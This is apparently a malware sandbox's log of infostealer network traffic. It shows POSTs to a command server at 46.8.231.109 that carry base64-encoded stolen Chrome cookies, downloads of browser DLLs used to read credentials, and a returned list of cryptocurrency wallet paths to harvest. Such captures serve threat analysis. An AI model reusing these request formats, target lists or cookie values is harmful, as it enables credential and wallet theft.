00 00 00 00 00 00 00 04 20 0d 00 18 00 00 00 00 00 00 00 00 00 00 00 00 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$PELc!&@a0: 0@< .text%&`P`.data\|'@(,@`.rdatapDpFT@`@.bss(`.edata,@0@.idata@0.CRT,@0.tls @0.rsrc0@0.reloc<@>@0B/48@@B/19R"@B/31]'`(@B/45-.@B/57\B@0B/70
Sep 18, 2024 14:30:36.102353096 CEST	1236	IN	Data Raw: 00 00 23 03 00 00 00 d0 0e 00 00 04 00 00 00 4e 0e 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 10 42 2f 38 31 00 00 00 00 00 73 3a 00 00 00 e0 0e 00 00 3c 00 00 00 52 0e 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 10 42 2f 39 32 00 00 00 00 00 Data Ascii: #N@B/81s:<R@B/92P @B
Sep 18, 2024 14:30:36.102366924 CEST	1236	IN	Data Raw: ec 0c 89 c5 85 db 74 05 83 fb 03 75 2e 89 7c 24 08 89 5c 24 04 89 34 24 e8 19 f7 0a 00 83 ec 0c 89 c5 89 7c 24 08 89 5c 24 04 89 34 24 e8 64 fd ff ff 83 ec 0c 85 c0 75 02 31 ed c7 05 48 67 eb 61 ff ff ff ff 83 c4 1c 89 e8 5b 5e 5f 5d c3 8d b4 26 Data Ascii: tu.\|$\$4$\|$\$4$du1Hga[^_]&+C\|$\$4$w#t\|$\$4$u#u\|$D$4$t&up\|$D$4$rZ\|$D$4$Q
Sep 18, 2024 14:30:37.872833967 CEST	950	OUT	POST /c4754d4f680ead72.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----AFHIEBKKFHIEGCAKECGH Host: 46.8.231.109 Content-Length: 751 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 41 46 48 49 45 42 4b 4b 46 48 49 45 47 43 41 4b 45 43 47 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 61 62 37 61 30 37 65 61 37 30 36 35 37 36 65 64 61 36 34 34 31 34 34 38 61 38 61 62 38 31 33 31 31 65 65 62 32 66 65 65 34 65 32 30 65 39 35 65 61 35 36 65 31 66 37 65 66 31 37 64 33 32 64 35 33 38 39 37 63 34 63 64 0d 0a 2d 2d 2d 2d 2d 2d 41 46 48 49 45 42 4b 4b 46 48 49 45 47 43 41 4b 45 43 47 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 59 32 39 76 61 32 6c 6c 63 31 78 48 62 32 39 6e 62 47 55 67 51 32 68 79 62 32 31 6c 58 30 52 6c 5a 6d 46 31 62 48 51 75 64 48 68 30 0d 0a 2d 2d 2d 2d 2d 2d 41 46 48 49 45 42 4b 4b 46 48 49 45 47 43 41 4b 45 43 47 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 [TRUNCATED] Data Ascii: ------AFHIEBKKFHIEGCAKECGHContent-Disposition: form-data; name="token"ab7a07ea706576eda6441448a8ab81311eeb2fee4e20e95ea56e1f7ef17d32d53897c4cd------AFHIEBKKFHIEGCAKECGHContent-Disposition: form-data; name="file_name"Y29va2llc1xHb29nbGUgQ2hyb21lX0RlZmF1bHQudHh0------AFHIEBKKFHIEGCAKECGHContent-Disposition: form-data; name="file"Lmdvb2dsZS5jb20JVFJVRQkvCUZBTFNFCTE2OTkwNzY1NDEJMVBfSkFSCTIwMjMtMTAtMDUtMDcKLmdvb2dsZS5jb20JRkFMU0UJLwlGQUxTRQkxNzEyMjk1NzQwCU5JRAk1MTE9bk5hZHFXOXVUY1kwT1A2STNhZm5yNzFvNkV6YVlMc2RwVzRVRVlOM3ZZcV9yYlJyTkZ4TTFqb3pQR3Voak9SQlpLS016MnRkRHBWZTdkTnVUV3A0Q3lLLXp0NUlzNndWRWx2ZVdBZktRZ3dOSmlLS3RYSENDQ21ybGd6WlRsNUNpS2pUZUEyaVFxZjZ6bFJLMmg4d2cxaFZwSXNXc2FLcWFXSnlITVBGM0pBCg==------AFHIEBKKFHIEGCAKECGH--
Sep 18, 2024 14:30:38.119065046 CEST	202	IN	HTTP/1.1 200 OK Date: Wed, 18 Sep 2024 12:30:37 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=93 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Sep 18, 2024 14:30:38.374388933 CEST	562	OUT	POST /c4754d4f680ead72.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----IIJEBAECGCBKECAAAEBF Host: 46.8.231.109 Content-Length: 363 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 49 49 4a 45 42 41 45 43 47 43 42 4b 45 43 41 41 41 45 42 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 61 62 37 61 30 37 65 61 37 30 36 35 37 36 65 64 61 36 34 34 31 34 34 38 61 38 61 62 38 31 33 31 31 65 65 62 32 66 65 65 34 65 32 30 65 39 35 65 61 35 36 65 31 66 37 65 66 31 37 64 33 32 64 35 33 38 39 37 63 34 63 64 0d 0a 2d 2d 2d 2d 2d 2d 49 49 4a 45 42 41 45 43 47 43 42 4b 45 43 41 41 41 45 42 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 32 31 71 62 47 78 74 65 57 31 73 59 6e 70 78 4c 6e 42 33 5a 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 49 49 4a 45 42 41 45 43 47 43 42 4b 45 43 41 41 41 45 42 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d [TRUNCATED] Data Ascii: ------IIJEBAECGCBKECAAAEBFContent-Disposition: form-data; name="token"ab7a07ea706576eda6441448a8ab81311eeb2fee4e20e95ea56e1f7ef17d32d53897c4cd------IIJEBAECGCBKECAAAEBFContent-Disposition: form-data; name="file_name"c21qbGxteW1sYnpxLnB3ZA==------IIJEBAECGCBKECAAAEBFContent-Disposition: form-data; name="file"------IIJEBAECGCBKECAAAEBF--
Sep 18, 2024 14:30:38.600578070 CEST	202	IN	HTTP/1.1 200 OK Date: Wed, 18 Sep 2024 12:30:38 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=92 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Sep 18, 2024 14:30:40.975270033 CEST	562	OUT	POST /c4754d4f680ead72.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----JJECAAEHCFIEBGCBGHIE Host: 46.8.231.109 Content-Length: 363 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 4a 4a 45 43 41 41 45 48 43 46 49 45 42 47 43 42 47 48 49 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 61 62 37 61 30 37 65 61 37 30 36 35 37 36 65 64 61 36 34 34 31 34 34 38 61 38 61 62 38 31 33 31 31 65 65 62 32 66 65 65 34 65 32 30 65 39 35 65 61 35 36 65 31 66 37 65 66 31 37 64 33 32 64 35 33 38 39 37 63 34 63 64 0d 0a 2d 2d 2d 2d 2d 2d 4a 4a 45 43 41 41 45 48 43 46 49 45 42 47 43 42 47 48 49 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 32 31 71 62 47 78 74 65 57 31 73 59 6e 70 78 4c 6e 42 33 5a 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 4a 4a 45 43 41 41 45 48 43 46 49 45 42 47 43 42 47 48 49 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d [TRUNCATED] Data Ascii: ------JJECAAEHCFIEBGCBGHIEContent-Disposition: form-data; name="token"ab7a07ea706576eda6441448a8ab81311eeb2fee4e20e95ea56e1f7ef17d32d53897c4cd------JJECAAEHCFIEBGCBGHIEContent-Disposition: form-data; name="file_name"c21qbGxteW1sYnpxLnB3ZA==------JJECAAEHCFIEBGCBGHIEContent-Disposition: form-data; name="file"------JJECAAEHCFIEBGCBGHIE--
Sep 18, 2024 14:30:41.196928024 CEST	202	IN	HTTP/1.1 200 OK Date: Wed, 18 Sep 2024 12:30:41 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=91 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Sep 18, 2024 14:30:42.433533907 CEST	91	OUT	GET /1309cdeb8f4c8736/freebl3.dll HTTP/1.1 Host: 46.8.231.109 Cache-Control: no-cache
Sep 18, 2024 14:30:42.608733892 CEST	1236	IN	HTTP/1.1 200 OK Date: Wed, 18 Sep 2024 12:30:42 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 10:49:08 GMT ETag: "a7550-5e7ebd4425100" Accept-Ranges: bytes Content-Length: 685392 Content-Type: application/x-msdos-program Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 f3 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 0e 08 00 00 34 02 00 00 00 00 00 70 12 08 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 d0 0a 00 00 04 00 00 cb fd 0a 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 48 1c 0a 00 53 00 00 00 9b 1c 0a 00 c8 00 00 00 00 90 0a 00 78 03 00 00 00 00 00 00 00 00 00 00 00 46 0a 00 50 2f 00 00 00 a0 0a 00 f0 23 00 00 94 16 0a 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 20 08 00 a0 00 00 00 00 00 00 00 00 00 00 00 a4 1e [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL4c"!4p@AHSxFP/# @.text `.rdata @@.data<F0@.00cfg@@.rsrcx@@.reloc#$"@B
Sep 18, 2024 14:30:44.556591988 CEST	91	OUT	GET /1309cdeb8f4c8736/mozglue.dll HTTP/1.1 Host: 46.8.231.109 Cache-Control: no-cache
Sep 18, 2024 14:30:44.744524956 CEST	1236	IN	HTTP/1.1 200 OK Date: Wed, 18 Sep 2024 12:30:44 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 10:49:08 GMT ETag: "94750-5e7ebd4425100" Accept-Ranges: bytes Content-Length: 608080 Content-Type: application/x-msdos-program Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 07 00 a4 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 b6 07 00 00 5e 01 00 00 00 00 00 c0 b9 03 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 80 09 00 00 04 00 00 6a aa 09 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 01 60 08 00 e3 57 00 00 e4 b7 08 00 2c 01 00 00 00 20 09 00 b0 08 00 00 00 00 00 00 00 00 00 00 00 18 09 00 50 2f 00 00 00 30 09 00 d8 41 00 00 14 53 08 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 bc f8 07 00 18 00 00 00 68 d0 07 00 a0 00 00 00 00 00 00 00 00 00 00 00 ec bc [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL4c"!^j@A`W, P/0AShZ.texta `.rdata@@.dataD@.00cfg@@.tls@.rsrc @@.relocA0B@B
Sep 18, 2024 14:30:45.405787945 CEST	92	OUT	GET /1309cdeb8f4c8736/msvcp140.dll HTTP/1.1 Host: 46.8.231.109 Cache-Control: no-cache
Sep 18, 2024 14:30:45.579010010 CEST	1236	IN	HTTP/1.1 200 OK Date: Wed, 18 Sep 2024 12:30:45 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 10:49:08 GMT ETag: "6dde8-5e7ebd4425100" Accept-Ranges: bytes Content-Length: 450024 Content-Type: application/x-msdos-program Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 d9 93 31 43 9d f2 5f 10 9d f2 5f 10 9d f2 5f 10 29 6e b0 10 9f f2 5f 10 94 8a cc 10 8b f2 5f 10 9d f2 5e 10 22 f2 5f 10 cf 9a 5e 11 9e f2 5f 10 cf 9a 5c 11 95 f2 5f 10 cf 9a 5b 11 d3 f2 5f 10 cf 9a 5a 11 d1 f2 5f 10 cf 9a 5f 11 9c f2 5f 10 cf 9a a0 10 9c f2 5f 10 cf 9a 5d 11 9c f2 5f 10 52 69 63 68 9d f2 5f 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 82 ea 30 5d 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 0f 00 28 06 00 00 82 00 00 00 00 00 00 60 d9 03 00 00 10 00 00 00 40 06 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 00 00 0a 00 00 00 06 00 00 00 00 00 00 00 00 f0 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$1C___)n__^"_^_\_[_Z____]_Rich_PEL0]"!(`@,@AgrA=`x8w@pc@.text&( `.dataH)@,@.idatapD@@.didat4X@.rsrcZ@@.reloc=>^@B
Sep 18, 2024 14:30:46.072323084 CEST	88	OUT	GET /1309cdeb8f4c8736/nss3.dll HTTP/1.1 Host: 46.8.231.109 Cache-Control: no-cache
Sep 18, 2024 14:30:46.245796919 CEST	1236	IN	HTTP/1.1 200 OK Date: Wed, 18 Sep 2024 12:30:46 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 10:49:08 GMT ETag: "1f3950-5e7ebd4425100" Accept-Ranges: bytes Content-Length: 2046288 Content-Type: application/x-msdos-program Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 d0 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 d8 19 00 00 2e 05 00 00 00 00 00 60 a3 14 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 70 1f 00 00 04 00 00 6c 2d 20 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 e4 26 1d 00 fa 9d 00 00 de c4 1d 00 40 01 00 00 00 50 1e 00 78 03 00 00 00 00 00 00 00 00 00 00 00 0a 1f 00 50 2f 00 00 00 60 1e 00 5c 08 01 00 b0 01 1d 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 f0 19 00 a0 00 00 00 00 00 00 00 00 00 00 00 7c ca [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL4c"!.`pl- @A&@PxP/`\\|\&@.text `.rdatal@@.dataDR.@.00cfg@@@.rsrcxP@@.reloc\`@B
Sep 18, 2024 14:30:48.158771992 CEST	92	OUT	GET /1309cdeb8f4c8736/softokn3.dll HTTP/1.1 Host: 46.8.231.109 Cache-Control: no-cache
Sep 18, 2024 14:30:48.394890070 CEST	1236	IN	HTTP/1.1 200 OK Date: Wed, 18 Sep 2024 12:30:48 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 10:49:08 GMT ETag: "3ef50-5e7ebd4425100" Accept-Ranges: bytes Content-Length: 257872 Content-Type: application/x-msdos-program Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 f3 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 cc 02 00 00 f0 00 00 00 00 00 00 50 cf 02 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 00 04 00 00 04 00 00 53 67 04 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 44 76 03 00 53 01 00 00 97 77 03 00 f0 00 00 00 00 b0 03 00 80 03 00 00 00 00 00 00 00 00 00 00 00 c0 03 00 50 2f 00 00 00 c0 03 00 c8 35 00 00 38 71 03 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 e0 02 00 a0 00 00 00 00 00 00 00 00 00 00 00 14 7b [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL4c"!PSg@ADvSwP/58q{.text& `.rdata@@.data\|@.00cfg@@.rsrc@@.reloc56@B
Sep 18, 2024 14:30:48.899642944 CEST	96	OUT	GET /1309cdeb8f4c8736/vcruntime140.dll HTTP/1.1 Host: 46.8.231.109 Cache-Control: no-cache
Sep 18, 2024 14:30:49.073024035 CEST	1236	IN	HTTP/1.1 200 OK Date: Wed, 18 Sep 2024 12:30:48 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 10:49:08 GMT ETag: "13bf0-5e7ebd4425100" Accept-Ranges: bytes Content-Length: 80880 Content-Type: application/x-msdos-program Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 c0 c5 e4 d5 84 a4 8a 86 84 a4 8a 86 84 a4 8a 86 30 38 65 86 86 a4 8a 86 8d dc 19 86 8f a4 8a 86 84 a4 8b 86 ac a4 8a 86 d6 cc 89 87 97 a4 8a 86 d6 cc 8e 87 90 a4 8a 86 d6 cc 8f 87 9f a4 8a 86 d6 cc 8a 87 85 a4 8a 86 d6 cc 75 86 85 a4 8a 86 d6 cc 88 87 85 a4 8a 86 52 69 63 68 84 a4 8a 86 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 05 00 7c ea 30 5d 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 0f 00 de 00 00 00 1c 00 00 00 00 00 00 90 d9 00 00 00 10 00 00 00 f0 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 00 00 0a 00 00 00 06 00 00 00 00 00 00 00 00 30 01 00 00 04 00 00 d4 6d 01 00 03 00 40 41 00 00 10 00 00 10 00 00 00 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$08euRichPEL\|0]"!0m@AA 8 @.text `.data@.idata@@.rsrc@@.reloc @B
Sep 18, 2024 14:30:49.829421043 CEST	200	OUT	POST /c4754d4f680ead72.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----HJJJECFIECBGDGCAAAEH Host: 46.8.231.109 Content-Length: 1067 Connection: Keep-Alive Cache-Control: no-cache
Sep 18, 2024 14:30:50.173963070 CEST	202	IN	HTTP/1.1 200 OK Date: Wed, 18 Sep 2024 12:30:49 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=84 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Sep 18, 2024 14:30:51.300997972 CEST	466	OUT	POST /c4754d4f680ead72.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----CFHIIEHJKKECGCBFIIJD Host: 46.8.231.109 Content-Length: 267 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 43 46 48 49 49 45 48 4a 4b 4b 45 43 47 43 42 46 49 49 4a 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 61 62 37 61 30 37 65 61 37 30 36 35 37 36 65 64 61 36 34 34 31 34 34 38 61 38 61 62 38 31 33 31 31 65 65 62 32 66 65 65 34 65 32 30 65 39 35 65 61 35 36 65 31 66 37 65 66 31 37 64 33 32 64 35 33 38 39 37 63 34 63 64 0d 0a 2d 2d 2d 2d 2d 2d 43 46 48 49 49 45 48 4a 4b 4b 45 43 47 43 42 46 49 49 4a 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 77 61 6c 6c 65 74 73 0d 0a 2d 2d 2d 2d 2d 2d 43 46 48 49 49 45 48 4a 4b 4b 45 43 47 43 42 46 49 49 4a 44 2d 2d 0d 0a Data Ascii: ------CFHIIEHJKKECGCBFIIJDContent-Disposition: form-data; name="token"ab7a07ea706576eda6441448a8ab81311eeb2fee4e20e95ea56e1f7ef17d32d53897c4cd------CFHIIEHJKKECGCBFIIJDContent-Disposition: form-data; name="message"wallets------CFHIIEHJKKECGCBFIIJD--
Sep 18, 2024 14:30:51.480130911 CEST	1236	IN	HTTP/1.1 200 OK Date: Wed, 18 Sep 2024 12:30:51 GMT Server: Apache/2.4.41 (Ubuntu) Vary: Accept-Encoding Content-Length: 2408 Keep-Alive: timeout=5, max=83 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 51 6d 6c 30 59 32 39 70 62 69 42 44 62 33 4a 6c 66 44 46 38 58 45 4a 70 64 47 4e 76 61 57 35 63 64 32 46 73 62 47 56 30 63 31 78 38 64 32 46 73 62 47 56 30 4c 6d 52 68 64 48 77 78 66 45 4a 70 64 47 4e 76 61 57 34 67 51 32 39 79 5a 53 42 50 62 47 52 38 4d 58 78 63 51 6d 6c 30 59 32 39 70 62 6c 78 38 4b 6e 64 68 62 47 78 6c 64 43 6f 75 5a 47 46 30 66 44 42 38 52 47 39 6e 5a 57 4e 76 61 57 35 38 4d 58 78 63 52 47 39 6e 5a 57 4e 76 61 57 35 63 66 43 70 33 59 57 78 73 5a 58 51 71 4c 6d 52 68 64 48 77 77 66 46 4a 68 64 6d 56 75 49 45 4e 76 63 6d 56 38 4d 58 78 63 55 6d 46 32 5a 57 35 63 66 43 70 33 59 57 78 73 5a 58 51 71 4c 6d 52 68 64 48 77 77 66 45 52 68 5a 57 52 68 62 48 56 7a 49 45 31 68 61 57 35 75 5a 58 52 38 4d 58 78 63 52 47 46 6c 5a 47 46 73 64 58 4d 67 54 57 46 70 62 6d 35 6c 64 46 78 33 59 57 78 73 5a 58 52 7a 58 48 78 7a 61 47 55 71 4c 6e 4e 78 62 47 6c 30 5a 58 77 77 66 45 4a 73 62 32 4e 72 63 33 52 79 5a 57 46 74 49 45 64 79 5a 57 56 75 66 44 46 38 58 45 4a 73 62 32 4e 72 63 33 52 79 5a 57 [TRUNCATED] Data Ascii: Qml0Y29pbiBDb3JlfDF8XEJpdGNvaW5cd2FsbGV0c1x8d2FsbGV0LmRhdHwxfEJpdGNvaW4gQ29yZSBPbGR8MXxcQml0Y29pblx8KndhbGxldCouZGF0fDB8RG9nZWNvaW58MXxcRG9nZWNvaW5cfCp3YWxsZXQqLmRhdHwwfFJhdmVuIENvcmV8MXxcUmF2ZW5cfCp3YWxsZXQqLmRhdHwwfERhZWRhbHVzIE1haW5uZXR8MXxcRGFlZGFsdXMgTWFpbm5ldFx3YWxsZXRzXHxzaGUqLnNxbGl0ZXwwfEJsb2Nrc3RyZWFtIEdyZWVufDF8XEJsb2Nrc3RyZWFtXEdyZWVuXHdhbGxldHNcfCouKnwxfFdhc2FiaSBXYWxsZXR8MXxcV2FsbGV0V2FzYWJpXENsaWVudFxXYWxsZXRzXHwqLmpzb258MHxFdGhlcmV1bXwxfFxFdGhlcmV1bVx8a2V5c3RvcmV8MHxFbGVjdHJ1bXwxfFxFbGVjdHJ1bVx3YWxsZXRzXHwqLip8MHxFbGVjdHJ1bUxUQ3wxfFxFbGVjdHJ1bS1MVENcd2FsbGV0c1x8Ki4qfDB8RXhvZHVzfDF8XEV4b2R1c1x8ZXhvZHVzLmNvbmYuanNvbnwwfEV4b2R1c3wxfFxFeG9kdXNcfHdpbmRvdy1zdGF0ZS5qc29ufDB8RXhvZHVzXGV4b2R1cy53YWxsZXR8MXxcRXhvZHVzXGV4b2R1cy53YWxsZXRcfHBhc3NwaHJhc2UuanNvbnwwfEV4b2R1c1xleG9kdXMud2FsbGV0fDF8XEV4b2R1c1xleG9kdXMud2FsbGV0XHxzZWVkLnNlY298MHxFeG9kdXNcZXhvZHVzLndhbGxldHwxfFxFeG9kdXNcZXhvZHVzLndhbGxldFx8aW5mby5zZWNvfDB8RWxlY3Ryb24gQ2FzaHwxfFxFbGVjdHJvbkNhc2hcd2FsbGV0c1x8Ki4qfDB8TXVsdGlEb2dlfDF8
